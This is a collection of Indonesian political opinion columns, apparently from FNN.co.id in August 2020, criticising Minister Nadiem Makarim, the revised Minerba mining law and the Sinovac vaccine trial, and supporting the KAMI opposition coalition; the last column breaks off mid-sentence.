by M Rizal Fadillah Jakarta FNN – Selasa (04/08). Merasa tertekan akibat Muhammadiyah, Nahdatul Ulama (NU), dan Persatuan Guru Republik Indonesia (PGRI) yang menarik diri dari Program Organisasi Penggerak (POP) bernilai Rp. 600 Milyar, maka Menteri Pendidikan Nadiem Makarim merilis permohonan maaf kepada tiga organisasi besar yang bergerak di bidang pendidikan tersebut. Nadiem juga bertandang ke PP Muhammadiyah Jakarta. Di Pusat Da’wah Muhammadiyah, Menteri Pendidikan Nadiem diterima oleh Sekum PP Muhammadiyah DR. Abdul Mu'thi dan pengurus Muhammadiyah lainnya. Kebijakan POP Nadiem yang asal-asalan itu untuk patut dikritisi dengan tajam. Sebab program itu berujung pada hengkangnya Muhammadiyah, NU, dan PGRI. Bagaimana tidak, ketiga organisasi besar di bidang pendidikan tersebut ternyata mau disejajarkan Nadiem dengan organisasi abal-abal sekelas yang hanya mengurusi "bimbel". Ironisnya lagi, ada dana Rp. 20 miliar yang dialokasikan kepada Yayasan pendidikan milik dua konglomerat HM. Sampoerna dan Sukamto Tanoto. Kini Nadiem Menteri "anak kemarin" sore yang seperti tidak faham pelaku pendikan "terdahulu" itu telah meminta maaf. Dari sisi etika tentu kita semua menghargai dan mengapresiasi permintaan maaf nadiem tersebut. Akan tetapi ini bukan saja ajang maaf-memaafkaan seperti lebaran atau baru saja Iedul Adha. Bukan juga soal apakah Muhammadiyah, NU atau PGRI memaafkan atau tidak. Ini persoalan bangsa dan negara. Ini persoalan ketidakmampuan Nadiem, anak kemarin sore tersenut dalam mengemban amanat pengelolaan pendidikan nasional. Inovasi yang nyatanya berbasis kebijakan acak-acakan, ngawur dan kacau-balau. Mundurnya tiga organisasi besar melengkapi kritik sejak awal kepada Menteri yang "bukan bidangnya" tersebut. Kritik itu harus dibaca sebagai ketidakpercayaan publik. Nah berdasarkan Tap MPR No VI tahun 2001 tentang Etika Kehidupan Berbangsa, maka penyelenggara negara yang sudah kehilangan kepercayaan publik hendaknya harus mengundurkan diri. Demi menjunjung etika pendidikan ke depan. Nadiem baiknya cepat mengundurkan diri untuk integritas dan masa depan dunia pendidikan. Masa depan Nadiem juga yang masih panjang. Anak muda yang berprestasi yang tercemar oleh pergulatan politik oligarkhis dan kapitalistik. Mundur adalah sikap yang terhormat dan bermartabat. Mundur juga sekaligus sebagai sikap pembersihan dan rintisan dari penghargaan terhadap peraturan perilundang-undangan. Apalagi di tengah habitat rezim yang rendah rasa peduli dan bermuka tebal, sangat diperlukan sikap menghargai kesalahan. Kecuali yang dikejar adalah abisi untuk mengelola anggarakan pendidikan 20% dari total APBN setiap tahun Contoilah dan ikutilah dua teman seusia anda yang diangkat Presiden Jokowi menjadi Staf Khusus Presiden. Adamas Belva Syah devara dan Andi Taufan telah lebih dulu mengundurkan diri sebagai sikap yang kesatria dan gentelment. Mereka berdua adalah anak muda yang tau diri. Tau terhadap kesalahan yang mereka perbuat. Nadiem dapat kembali menata usahanya yang juga terdampak akibat pandemi covid 19. Membangun dan menata kembali kreasi baru yang mengahadirkan solutif. Perusahaan start up yang perlu penanganan serius dan menjadi model usaha anak muda Indonesia. Disinilah bidang yang subur untuk keahlian Nadiem. Jabatan Menteri Pendidikan, disamping belum waktunya, juga nampaknya menjadi lebih pantas untuk orang lain. Orang yang benar-benar mengerti, memahami dan menjiwai dunia pendidikan. Orang yang sudah berpengalaman dalam mengelola lembaga pendidikan. Salah satu bumber bahan bakunya dari Muhammadiyah, NU dan PGRI. Saatnya untuk menetapkan pilihan antara terjebak di kubangan lumpur kepentingan permainan politik, atau keluar menata integritas dan kapasitas diri. Sumbangsih bagi negara bukan ngeyel, ngawur dan ngaco dalam ketidakmampuan, tetapi sebaiknya mundur dari jabatan itu. Rakyat menunggu sikapNadiem Makarim, anak muda yang siap untuk menjunjung tinggi etika. Sikap yang kesatria dan gentelent. Bukan sikap pendukung faham "ngeyelisme". Penulis adalah Pemerhati Politik dan Kebangsaan.

UU Minerba, Skandal Konstitusi Terbesar Abad Ini

by Kisman Latumakulita Undang-undang boleh saja dibanggakan para ahli hukum formalis dan politisi picisan dan kacangan sebagai benteng keadilan. Dalam kenyataannya tidak selalu begitu. Undang-undang atau hukum juga dapat berubah fungsi menjadi benteng terkuat bagi para korporasi dan oligarkis licik, picik, tamak srta culas. Jakarta FNN – Selasa (04/08). Orang-orang berduit besar ini dapat menggunakan uangnya untuk menciptakan politik pembentukan undag-undang untuk kepentingan mereka. Seperti itu menajdi hal biasa dalam semua permainan politik, termasuk politik pembentukan UU. Kalau uang telah bicara, maka semuanya dipastikan akanberes dan cepat. Argumentasi yang bersifat justifikasi atas Rancangan Undang-Undang (RUU) itu bisa berdatangan dari berbagai sudut, dan berbagai kalangan. Begitulah adanya dunia politik hukum liberal. Kalau korporasi licik, picik, tamak dan culas yang punya mau, maka uangkah yang bemain dibalik prakarsa pembentukan UU Nomor 3 Tahun 2020 tentang Perubahabn Atas UU Nomor 4 Tahun 2009 tentang Mineral dan Batubara? Tak ada bukti otoritatif yang menunjukan uang telah bekerja secara signifikan dibalik munculnya prakarsa ini. Tidak ada juga bukti otoritatif untuk dijadikan sandaran penilaian bahwa uang telah bekerja dengan caranya yang khas dibalik pembahasan RUU Perubahan Atas UU Nomor 4 Tahun 2009. Sekali lagi, belum dan tidak ditemukan bukti itu. Bekerjanya uang dibalik cepatnya waktu pembahasan dan pengesahan RUU Perubahan Atas UU Nomor 4 Tahun 2009 itu ibarat kentut. Bunyi dan bau kentut hanya bisa untuk didengar dan dicium. Namun wujudnya kentut seperti apa? Nggak bisa dilihat atau dipegang. Uang hanya terasa bekerja dengan caranya yang paling sunyi dan senyap dibalik pembahasan aturan pertambangan umum ini. Inilah UU Yang Sangat Brutal Dari sejarahnya, diketahui DPR teridentifikasi sebagai pemrakarsa, pengusul perubahan atas Undang-Undang Nomor 4 Tahun 2009 Tentang Mineral dan Batubara. DPR menggunakan kewenangan dan mandat yang tekenal bernama "Hak Usul Inisiatif Dewan". Tidak banyak undang-undang yang dilahirkan DPR bersama Pemerintah berdasarkan celah "Hak Usul Inisiatif Dewan" ini. Apalagi UU untuk kepentingan rakyat bawah. Sebaiknya berharap banyak kepada DPR, karena ujungnya hanya kekecewaan semata. Prakarsa ini meraih sukses besar. Harap dimaklumi saja. Sebab UU bukan untuk kepentingan rakyat bawah. Pihak yang paling berkepentingan dibalik perubahan atas UU No 4 Tahun 2009 adalah para korporasi dan konglomerat tambang. Dengan perubahan UU ini, maka izin usahanya bisa diperpanjang secara otomatis, tanpa perlu ada pengurusan perpanjangan baru lagi. Jangka waktunya tetap 20 tahun, namun dievaluasi setiap sepuluh tahun. Luas bisa hebatnya kan? Apakah aturan yang super brutal dan amburadul seperti ini hanya karena keinginan dan maunya DPR semata? Silahkan menjawabnya sendiri. Namun jangan kasih tau teman dan kerabat yang duduk atau berdiri di sebelah anda. Yang pasti Sekarang UU Nomor Tahun 2009 itu telah resmi berubah menjadi UU Nomor 3 Tahun 2020 Tentang Perubahan UU Nomor 4 Tahun 2009 Tentang Mineral dan Batubara. Begitu cerit awalnya. Tanggal 4 Februari 2016 menjadi tanggal paling bersejarah untuk UU Nomor 3 Tahun 2020 ini. Pada tanggal, bulan dan tahun itu langit politik hukum mencatat sebuah peristiwa bersejarah. Sebab pada tanggal tersebut, DPR khususnya Badan Legislasi (Baleg) mengadakan Rapat Dengar Pendapat dengan para akademisi dan pakar. Namanya saja rapat dengar pendapat. Tentu saja yang disajikan dalam rapat tersebut adalah pandangan-pandangan dari para pakar dan akademisi. Apa saja pendapat mereka? Hanya mereka para pakar dan anggota DPR di Baleg itulah yang tahu. Rapat tanggal 4 Februari tahun 2016 itu tercatat sebagai satu-satunya rapat disepanjang sejarah DPR dari tahun 2016 sampai dengan 8 Maret tahun 2018. Disepanjang dua tahun itu hanya ada satu kali rapat resmi di DPR, khususnya rapat di Baleg. Rapatnya juga dengan agenda yang sangat istimewa, yaitu membicarakan RUU perubahan atas UU Nomor 4 Tahun 2009 tentang Mineral dan Batubara ini. Aneh? Ya pasti aneh bin ajaiblah. Dengan merujuk pada praktik pembahasan RUU yang baku, dan berlaku selama ini. Maka harus diakui secara jujur bahwa rapat di Baleg, apalagi rapat dengar pendapat antara Baleg dengan para ahli, pakar dan akademisi, tentu tidak dihadiri oleh pemerintah. Itu sudah pasti. Teman-teman ahli hukum telah meyakinkan beta bahwa RDP di Baleg selalu begitu aturan mainnya. Tidak dihadiri oleh pemerintah. Lantas bagaimana kelanjutannya? Tanggal 7 Maret 2018 barulah Baleg melakukan Pleno bersama dengan para anggota DPR pengusul. Tentu saja untuk memperoleh penjelasan dari para anggota DPR pengusul. Tiga minggu kemudian, tepatnya tanggal 29 Maret 2018 Baleg melakukan lagi rapat. Esensi rapat kali ini adalah melakukan harmonisasi. DIM Pemerintah Tanpa Paraf Setelah rapat tanggal 29 Maret 2018, menujuk (CNNIndonesia, Kamis 18/07/2019) Ketua Komisi VII Dewan Perwakilan Rakyat (DPR) Gus Irawan Pasaribu telah menyerahkan Daftar Infentarisasi Masalah (DIM) RUU Minerba untuk dibahas dengan pemerintah sejak April 2018. Dua bulan kemudian, tepatnya bulan Juni 2018 pemerintah juga menyerahkan DIM. Sayangnya, berdasarkan penelusurn CNNIndonesia, DIM yang diserahkan pemerintah itu tanpa adanya paraf dari pemerintah. DIM ini diserahkan bulan Juni 2019. DIM itu, merujuk CNNIndonesia, baru berasal dari Kementerian Energi dan Sumber Daya Mineral. (Lihat CNNIndonesia, 18 Juni 2019). Orang gila macam apa yang akan atau mau untuk menerima DIM tanpa paraf sebagai DIM resmi pemerintah? terus DPR gila dan sinting macam apa, yang mau juga untuk menerima DIM dari Kementerian ESDM yang tanpa paraf itu? Anda tidak usah menjadi ahli hukum untuk mengatakan DIM itu abal-abal, dongo, dungu, keleng-kaleng dan beleng-beleng. Yang pasti DIM yang tanpa paraf itu pastinya tidak sah. Tragisnya, terlihat kalau DIM yang tidak sah ini disadari betul oleh anggota DPR yang terhormat. Merujuk pada pemberitaan Kontan.co.Id, tanggal 29/8/2019, Komisi VII DPR RI kala itu masih berkeinginan untuk merampungkan revisi atas Undang-Undang Nomor 4 Tahun 2009 tentang Mineral dan Batubara. Namun sangat disayangkan, dan ini jangan sampai membuat pembaca FNN kaget setengah mampus. Hingga kini Daftar Inventarisasi Masalah (DIM) itu masih mandek di pihak pemerintah. Belom sampai ke DPR. Hebat kan? Meskipun RUU Perubahan atas UU Nomor 4 Tahun 2009 sudah disahkan menjadi UU Nomor 3 tahun 2020. Namun DIM-nya masih di tangan pemerintah sampai sekarang. Jadi, UU Nomor 3 Tahun 2020 tentang Mineral dan Batubara itu disahkan DPR tanpa DIM yang resmi dari pemerintah. Artinya, UU ini memang sudah cacat sejak lahir. Kalau meminjam istilah keren yang sering digunakan para penasehat hukum ketika peracara di pengadilan, “UU ini cacat secara formil”. Proases pembuatannya sudah cacat, kacau-balau dan amburadul. Pembuatannya kejar tayang untuk menampung kepentingan korporasi dan oligarki yang izin habis di tahun 2020 ini. Sudah cacat bawaan sebelum lahir menjadi UU. Cacat sejak masih dalam kandungan di DPR. (bersambung). Penulis adalah Wartawan Senior FNN.co.id

Catatan Atas Dekalarasi KAMI 2020

by Gde Siriana Yusuf Jakarta FNN – Selasa (04/08). Nama KAMI (Kesatuan Aksi Mahasiswa Indonesia) sudah pernah ada terdengar di tahun 1966. KAMI ketika itu sebagai suatu gerakan moral mahasiswa melawan rezim Orde Lama. KAMI tampil dan membentuk koalisi aksi-aksi mahasiswa, baik itu intra kampus maupun organisasi mahasiswa ekstra kampus. Kini nama KAMI lahir kembali, dengan kepanjangan “Kesatusan Aksi Menyelamatkan Indonesia”. Sebagai seorang aktivis, meskipun tidak hadir dalam deklarasinya, saya mendukung penuh gerakan moral ini. Mudah-mudahan sebagai sarana atau wadah kritis , koreksi dan penyeimbang terhadap penyelenggara negara yang nyaris lumpuh membuat rakyat terlindngi sesuai perintah konstitusi. Mengapa diperlukan aksi-aksi? Selama pemerintahan Jokowi berkuasa, baik di periode pertama hingga awal periode kedua, ternyata kinerja pemerintahan tidak menunjukkan hasil seperti yang dijanjikan saat kampanye Pilpres. Ekonomi stagnan di pertumbuhan 5%, dan pengganguran terus bertambah. Bukan itu saja. Amanat reformasi untuk memberantas KKN (Kolusi, Korupsi & Nepotisme) tidak dijalankan secara menyeluruh dan tuntas. Korupsi masih banyak terjadi, bahkan semakin menjadi-jadi. Nepotisme di Pilkada dan Pemilu sangat kental. Yang paling parah adalah sikap represi pemerintah terhadap hak-hak konstitusional rakyat, salah satunya hak menyatakan pendapat. Penangkapan dan kriminalisasi kerap terjadi untuk membungkap protes rakyat. Yang terakhir adalah persoalan RUU Omnibus Law, UU Minerba dan Perpu Nomor 1 Tahun 2020 yang telah menjadi UU Nomor 2 Tahun 2020 tentang Corona yang tidak sesuai dengan konstitusi. Akibatnya, ditentang oleh banyak elemen masyarakat. Selama ini protes dan kritik banyak disampaikan rakyat baik kepada pemerintah maupun DPR. Tetapi hasilnya nol besar. Tidak ada perubahan yang menunjukkan bahwa negara berjalan di relnya sesuai amanat proklamasi dan perintah konstitusi UUD 1945. Bahkan dengan grand coalition di pemerintahan Jokowi, menyebabkan DPR kehilangan fungsi kontrolnya. DPR kini lebih berperan sebagai pengikut kepentingan pemerintah. “Bahkan DPR kini sudah seperti Kantor Cabang Presiden yang berlokasi di kawasan senayan”, kata wartawan Senior FNN.co.id Kisman Latumakulita. Terbukti dengan lolosnya beberapa UU yang tidak pro rakyat, seperti UU KPK, UU Minerba, UU Corona, RUU Omnibus Law Cipta Kerja dan RUU HIP, kini RUU BPIP. Mengapa Perlu Koalisi? Singkatnya, aksi-aksi demontrasi akan terus diperlukan. Apalagi ketika negara sudah menyimpang jauh dari cita-cita dan konstitusi UUD 1945. Ini adalah masalah yang kerap terjadi di setiap rezim. Pada pemerintahan SBY pun pernah menghadapi berbagai aksi yang memprotes kebijakannya. Tentu yang dimaksud di sini adalag aksi damai, dan aksi moral. Koalisi terbentuk ketika semua kelompok-kelompok aksi sudah sampai pada satu titik pemahaman yang sama. Karena arah negara sudah melenceng jauh. Pemahaman bahwa kini saatnya arah negara harus diluruskan lagi. Negara harus diselamatkan segera. Koalisi juga menunjukkan bahwa gerakan moral ini melibatkan berbagai elemen masyarakat, lintas agama, suku, etnis, profesi dan status sosial. Koalisi juga untuk mensinergikan semua kekuatan rakyat dalam suatu kepempinan aksi. Tujuannya, agar aksi berjalan dengan damai, tetapi memiliki daya juang yang sangat besar untuk mendorong lahirnya perubahan yang menyelamatkan negara ini. Mensinergikan tokoh-tokoh kalangan sipil, agamawan dan purnawirawan dalam satu gerak langkah yang sama untuk mengembalikan arah dan tujuan bernegara yang sudah melenceng. Sebagai koalisi yang baru dideklarasikan, saya sangat berharap KAMI dapat segera menggelar agenda aksinya. Agar tercipta gelombang-gelombang besar yang mengikut sertakan pastisipasi rakyat secara luas. Targetnya menggelinding bak bola salju yang terus membesar. Tetapi seringkali dalam sejarah suatu koalisi gerakan moral, terjadi persaingan yang melibatkan ego figur atau tokoh untuk didaulat menjadi tokoh sentral atau pemimpin koalisi. Pormat Menyelamatkan Indonesia Saya pikir ini adalah langkah berikutnya. Langkah pertama adalah membesarkan gerakan moral KAMI. Jika sejak awal sudah kental dengan persaingan dinatar para tokoh, maka besar potensi gerakan ini akan layu sebelum berkembang. Mudah tidak untuk ditunggangi, di fiet a comply, dan tidak dikoptasi. Pada tahap pertama ini, sudah bisa disosialisasikan kepada rakyat bagaimana format menyelamatkan Indonsia nanti. Apakah formatnya melalui rute Pilpres atau suatu majelis karena darurat. Jika melalui Pilpres, maka maunya pilpres yang seperti apa? Tanpa atau tetap dengan threshold? Namun jika majelis, maka maunya yang model seperti apa? Apapun yang dipilih dari dua pilihan tersebut, menurut saya adalah konstitusional. Apalagi selama rakyat yang menghendakinya. Untuk itu, format menyelamatkan Indonesia ini penting untuk dikomunikasikan, agar rakyat melihat suatu perjuangan moral yang konstitusional dan realistis. Dengan demikian, partisipasi rakyat terlibat dalam gerakan moral ini akan cepat dan membesar. Sekali lagi, saya dukung deklarasi dan pendirian KAMI 2020. Harapan besar saya adalah, nama KAMI tidak sekedar romantisme sejarah tahun 1966-an. KAMI yang lahir di trahun 2020 harus mampu mewujudkan harapan rakyat. Ayo bung, maju tak gentar. Mari bung kembalikan Indonesia pada arah yang benar. Wassalaam. Penulis adalah Direktur Eksekutif Indonesian Future Studies (INFUS)

Setelah 9 Tokoh Oposisi, Kini Lahir Koalisi Menyelamatkan Indonesia

by Tony Rosyid Jakarta FNN - Senin (03/08). Minggu kemarin, 2 Agustus 2020, ada deklarasi Koalisi Aksi Menyelamatkan Indonesia (KAMI). Deklarasi ini digagas oleh sejumlah tokoh nasional yang selama ini dikenal sangat kritis terhadap pemerintah. Lahirnya KAMI merupakan tindak lanjut dari 9 tokoh oposisi. Semula 9 tokoh, sekarang bertambah, dan semakin banyak jumlahnya. Mereka adalah adalah Abdullah Hehamahua, Emha Ainun Najib, Din Syamsudin, Gus Najih, Habib Rizieq, Rizal Ramli, Refly Harun, Rocky Gerung dan Said Didu. Dari 9 tokoh itu, kini jumlahnya sudah semakin banyak. Ada dari militer seperti Gatot Nurmantyo. Ada juga Rahmawati Soekarnoputri. Ada ekonom Ichsanudfin Noersy. Ada aktifis seperti Syahganda Naenggolan, Ahmad Yani, Habib Muchsin, Habib Smith Alhadar, MS Ka'ban, Jumhur Hidayat, Sri Bintang Pamungkas dan Chusnul Mar'iyah. Ada juga dari tokoh NU yaitu Djoko Edy dan Rachmad Wahab. Berdirinya Koalisi Aksi Menyelamatkan Indonesia (KAMI) menimbulkan sejumlah pertanyaan. Apakah Indonesia dalam kondisi tidak selamat? Lalu, mau menyelamatkan Indonesia dengan cara apa? Dari banyak komentar, sejumlah tokoh yang tergabung dalam KAMI, nampak tegas kesimpulannya bahwa Indonesia sedang menuju ke arah yang salah. Bisa-bisa hancur akibat cara yang keliru dalam mengelola negara. Zig zag dan cenderung ugal-ugalan. Bermula dari ambisi pembangunan infrastruktur, yang membuat hutang negara mengalami pembengkakan yang luar biasa. Jumlahnya kini sekitar Rp 7.000 triliun. Hutang yang diperkirakan tidak mampu untuk dibayar oleh pemerintah. Menjadi beban untuk negara puluhan tahun ke depan. Korupsi yang semakin masif. Diantaranya mengakibatkan sejumlah BUMN bangkrut. Terbit UU yang "dicurigai" untuk melindungi para koruptor, konglomerat dan perampokan negara. Terutama revisi UU KPK, UU Corona dan UU Minerba. Belum lagi RUU Omnibus Law Cipta Kerja yang semakin memangkas hak masyarakat bawah, dan memiskinkan kaum buruh. Maka, lahirnya KAMI adalah bagian dari bentuk keprihatinan atas bangsa yang semakin hari semakin terpuruk. Penguasa dengan semua aturan dan kebijakannya dianggap lebih berpihak pada korporasi, dari pada memikirkan nasib rakyatnya sendiri. Tanpa UU Corona, UU Minerba dan RUU Omnibus Law, kehidupan rakyat sudah sangat berat. Lahirnya sejumlah UU dan RUU tersebut membuat kehidupan rakyat semakin frustrasi. Belum lagi hukum yang cenderung berpihak kepada orang-orang seperti Djoko Tjandra, Harun Masiku dan Abu Janda. Representasi dari konglomerasi, partai pengusung dan kelompok pendukung. Halo E-KTP? Terkini adalah RUU HIP. Majelis Ulama Indonesia (MUI) dan lebih dari 200 ormas menolak RUU ini. Karena dianggap sebagai upaya untuk memberi peluang bangkitnya komunisme. Tapi, pemerintah dan fraksi PDIP nampaknya kekeh dan tetap akan mensukseskan RUU HIP ini. Meski kali ini diwacanakan dengan nama baru RUU BPIP. Belum lagi praktek politik yang menganut asas "demokrasi terkendali". Semua serba dikontrol, baik melalui undang-undang maupun aparat. Saluran demokrasi tersumbat. Partai Politik berjalan sendiri sesuai selera penguasa dan korporasi. Penegak hukum dipakai sebagai alat untuk membungkam para aktivis yang kritis terhadap penguasa. Dari semua keprihatinan ini, lahirlah KAMI. Dari segi nama, gerakan ini fokus untuk menyelamatkan bangsa. Bagaimana cara menyelamatkannya? Menasehati dan kritik pemerintah? Sudah. Bahkan hampir tiap hari. Demo? Sering sekali. Apakah berpengaruh? Tidak! Lalu? Apakah mau ganti presiden dengan memintanya mundur? Pasti presiden gak bakal mau. Bisa-bisa akan dianggap makar. Tapi setidaknya, berkumpulnya para tokoh nasional dari berbagai unsur bangsa ini akan menjadi perhatian tersendiri bagi rakyat Indonesia saat ini. Apalagi jika jumlah tokoh semakin banyak dan mendapatkan semakin besar dukungan dari rakyat, maka segala kemungkinan bisa terjadi. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Indonesia Seperti Negara Bagian China (Bag. Pertama)

by Dr. Margarito Kamis SH. M.Hum Pada tahunn 2007 makanan hewan buatan China dianggap sebagai penyebab kematian ratusan hewan di Amerika. Di tahun yang sama, serentetan kematian orang di Panama dikaitkan dengan bahan kimia buatan China yang dicampur dalam obat batuk. (Ben Chu, Editor Ecokonomi Harian Independen Inggris). Jakarta FNN – Senin (03/08). Menurut Ben Chu pada Maret 2013 ratusan ribu bangkai babi berpenyakit ditemukan mengapung di sungai Huangpu. Sungai yang merupakan sumber air bagi kota Shanghai. Asal bangkai babi tidak diketahui. Tetapi sebuah teori mengatakan bahwa penyelidikan perdagangan ilegal daging hewan yang berpenyakit telah menyebar luas. Mendorong para peternak untuk membuang babi-babi tersebut ke hulu sungai. Mengapa harus Indonesia? Mengapa bukan Malaysia, atau Philiphine yang dijadikan obyek uji coba vaksin buatan China? Apakah Malaysia dan Philipine tidak akrab seakrab Indonesia terhadap China? Apakah Malaysia dan Philipine telah tidak menyediakan diri sebagai tempat untuk mengujicobakan kandidat vaksin itu? Karena tindakan itu melukai harga diri mereka? Apakah dua negara itu telah menemukan kandidat vaksin hasil karya ahli-ahli mereka sendiri? Tidak tersedia informasi utuh soal ini. Apakah kedua negara itu telah mengetahui informasi yang ditulis Ben Chu, sehinga melihat bahaya nyata dibalik kandidat vaksin itu itu? Tidak jelas. Tetapi Indonesia, entah apa pertimbangan terbesar Presiden Joko Widodo, bersedia mengujicoba kandidat vaksin Sinovak itu. Sambutan Presiden Apakah informasi yang ditulis Ben Chu di atas tersedia di atas meja kebijakan presiden Joko Widodo? Kecuali pembantunya, tidak ada orang lain yang tahu.Kenyataannya Presiden Joko Widodo, bukan hanya menyambuat kandidat vaksin yang belum jelas efektifitasnya itu, tetapi bersikap lebih dari itu. Presiden terlihat antusias mempercepat uji coba kandidat vaksin yang belum jelas itu. Apakah sambutan bergairah itu disebabkan presiden dirangsang oleh kenyataan bahwa uji coba kali ini telah berada pada tahap ketiga? Tahapan yang sempurna? Tahapan yang menurut Profesor Kusnandi Rusmil, Ilmuan vaksin senior dari Universitas Padjajaran, aman (lihat Koran Tempo 23/7/2020). Bagaimana mendapatkan relawan? Apakah pemerintah menyediakan relawan untuk ujicoba vaksin Sinovak? Bila tidak, siapa yang menyediakan diri atau bagaimana cara mendapatkan mereka? Bagaimana bila kandidat vaksin yang disuntikan kepada para relawan itu memiliki efek samping atau gagal? Siapa yang harus bertanggung jawab? Apakah Presiden dan para menterinya mau bertanggung jawab bial terjadi kegagalan? Dimana Presiden dan para pembantunya pahami pesan penting "melindungi segenap bangsa dan tumpah darah Indonesia?" Soal ini jelas tak bisa disepelekan. Bila sukses atau berhasil, siapa yang paling berhak untuk mem-patenkannya? Apakah China atau Indonesia? Uji-coba kandidat vaksin Sinovak ini boleh jadi merupakan hasil kongkrit kemesraan relasi politik dan dagang Indonesia-China. Uji coba vaksin ini melengkapi kemesraan Indonesia-China, yang telah memungkinkan tenaga kerja berdatangan ke Indonesia di tengah Corona. Kerjasama yang bersumbu pada kemesraan hubungan kedua negara. Kemesraan itu, mungkin tak bakal dilihat sebagai kerjasama yang membutakan salah satu pihak. Kerjasama berkerangka kesetaraan, dimanapun dan dalam urusan apapun selalu disajikan sebagai kunci multifungsi dalam membendung penilaian bahwa salah satu pihak dalam kerjasama itu terlihat sebagai sub-ordinat. Konsep kesetaraan dapat menjadi kunci menghindari penilaian Indonesia terlihat sebagai konfederasi China, yang sejauh ini terlihat sangat cerdik dalam percaturan Internasional. China telah memiliki keberanian yang belum pernah diekspresikan dalam menghadapi Amerika, negeri imperial modern itu. China cukup tahu bahwa kesetaraan dalam lingkungan internasional hanya mungin tercipta bila kapasitas negara yan saling berhubungan itu setara dalam banyak aspek. Kekuatan ekonominya telah membuat China seolah mengatakan kepada Amerika, “anda menutup Konsul kami di Houston, kami juga menutup konsulat anda di Chengdu”. Lalu bagaimana dengan Indonesia? Indonesia, untuk argumen apapun yang mungkin, jelas bukan negara tandingan China dalam banyak aspek. Di tengah Corona, China mengekspor beragam alat kesehatan ke berbagai belahan dunia, termasuk Indonesia. Di tengah Corona, tenaga kerja China terus saja masuk ke Indonesia dengan sangat mudah. Sepeti membetangkan karpet merah kepada tenaga kerja China. Malah para pekerja China itu bisa dengan leluasa menggunakan visa kunjungan untuk bekerja di pabrik nikel. Tidak hanya ke Konawe, Sulawesi Tenggara. Tetapi juga di Weda Halmahera Tengah dan Obi Halmahera Selatan, Maluku Utara. Pada dua daerah Halmahera ini, sejumlah perusahaan milik China menambang disana. Korporasi-korporasi itu mempekerjakan tenaga kerja China. Seperti pemerintah provinsi Sulawesi Tenggara, Pemerintah Provinsi Maluku Utara juga tak bisa mengoreksi kebijakan pusat yang memungkinkan pekerja China bekerja di tambang-tambang itu. China Tak Bodoh Indonesia bukan negara bagian China. Juga sejauh ini, bukan provinsi ke sekian dari China.Indonesia negara merdeka. Seperti China, Indonesia juga punya konstitusi sendiri. Konstitusi ini memungkinkan Indonesia bermain di panggung internasional dengan nada dan nafas menciptakan dunia yang damai. Pembaca FNN yang budiman. Konstitusi dimanapun tidak bicara hal-hal deteilnya. Urusan deteilnya itu diserahkan kepada pemimpin negara, terutama Presiden. Tindak-tanduk Presidenlah yang menentukan yang detail-deteil itu. Rakyat Indonesia menyaksikan dengan cukup jelas Presiden telah menyambut kandidat vaksin Sinovak itu dengan bahasa yang lugas. Payah juga ya? China memang sempat dipusingkan oleh tuduhan Amerika. Tuduhan sebagai negara yang, kalau tidak menciptakan Virus Covid, justru mendahului semua pengetahuan dunia tentang covid. Tetapi China sejauh ini, tidak terlihat melemah di panggung internasional. Presiden Xi Jinping terlihat menyajikan diri di pangung politik dunia sebagai menejer krisis yang andal. Sesuatu yang tidak mungkin dicapai oleh Presiden Joko Widodo. Seperti yang dilakukan oleh Zhu Rong Ji, Perdana Menteri China tahun 1998. Prefesor Zhu Rong Ji menolak skenario IMF untuk mendevaluasi Renmimbi (mata uang China), pada saat negara-negara Asia dipukul wabah Wall Street (krisis keuangan). Presiden Ping saat ini menydorokan diri dengan kebijakan khas mereka. Presiden Xi Jimping tidak membebek kepada Presiden Amerika. Bagaimana China bisa sedemikian leluasa dalam menanganai berbagai urusan? Apakah kelincahan China itu berkat seorang Presiden semata atau dituntun oleh faktor lain? (bersambung). Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Dukungan Untuk Koalisi Menyelamatkan Indonesia

by M. Rizal Fadillah Jakarta FNN – Senin (03/08). Hari Ahad tanggal 2 Agustus 2020 kemarin tokoh bangsa berkumpul di kawasan Cilandak, Jakarta Selatan. Mereka mendeklarasikan Koalisi Aksi Menyelamatkan Indonesia, disingkat KAMI. Beberapa tokoh yang hadir antara lain Prof. Dr. Din Syamsuddin, Dr. Ichsanuddin Noorsy, Dr. Said Didu, Prof. Rocky Gerung, Prof. Dr. Refly Harun, Prof. Dr. Husnul Mar’iyah, Dr. Marwan Batubara, Dr. Masri Sitanggang, Habib Mukhsin Alatas, Edwin Sukawati, dan lainnya. Pembentukan koalisi para tokoh ini tentu berangkat dari keprihatinan atas kondisi bangsa Indonesia saat ini. Tata kelola dan penyelenggaraan negara yang telah salah arah. Tidak lagi negara dikelola dan diurus sesuai dengan konstitusi UUD 1945. Tidak lagi berpedoman pada cita-cita dan tujuan bernegara. KAMI patut didukung karena tujuan mulia yang melandasinya. Rakyat Indonesia merasakan bahwa kondisi kini sangat parah. Kondisi ekonomi sudah parah sebelum datangnya corona. Sekarang bertambah parah. Pengguran dan pemutusan hubungan kerja (PHK) terjadi dimana-mana. Tekanan terhadap kemampuan daya beli masyarakat sangat miris. Pertumbuhan ekonomi jadi minus, karena pemerintah tidak mengertti dan paham cara menciptakan pertumbuhan ekonomi. Pemandangan yang sangat memeprihatinkan terjadi para penegakan hukum. Para penegak hukum semakin parah moralnya. Penegak hukum negeri bisa dengan diatur dan dikendalikan oleh buronan yang berstatus terhukum Djoko Tjandra. Dia bisa dengan mudah mengatur tiga institusi penegak hukum, yaitu Kepolisian, Kejaksaan Agung dan Kemenkumham (Imigrasi). Dua institusi lainnya juga diatur dengan mudah oleh Djoko Tjandara, yaitu Ditjen Dikcapil Kemendari dan Ditjen Perhubungan Udara Kementerian Perhubungan. Warwatan senior Asyari Usman menyebut Djoko Tjandra sebagai pembeli kekuasaan dengan predikat best buyer (FNN.co.id 23 Juli 2020). Artinya, pembeli kekuasaan terbaik. Buronan yang bisa masuk dan keluar dari Indonesia dengan sangat bebas tanpa ditahan oleh aparat penegak hukum. Malah mendapat fasilitas surat jalan untuk kesana-kemari. Keadilan bagi semua semakin jauh dari kehidupan kita. “Kemanusian Yang Adil dan Deradab serta Keadilan Sosial Bagi Seluruh Rakyat Indonesia” enteh disumbunyikan dimana? Keadilan hanya bisa dengan mudah dinikmati oleh pemilik kekuasaan dan pembeli kekuasaan terbaik (best buyer). Kondisi politik lebih para lagi. Presiden nyata-nyata telah melanggar konstitusi negara UUD 1945, dengan memutilasi hak budgeting DPR. Namun oleh para politisi kacangan, tengih, kaleng-kelang dan beleng-beleng dianggap sebagai hal yang biasa saja. Sepertinya tidak ada 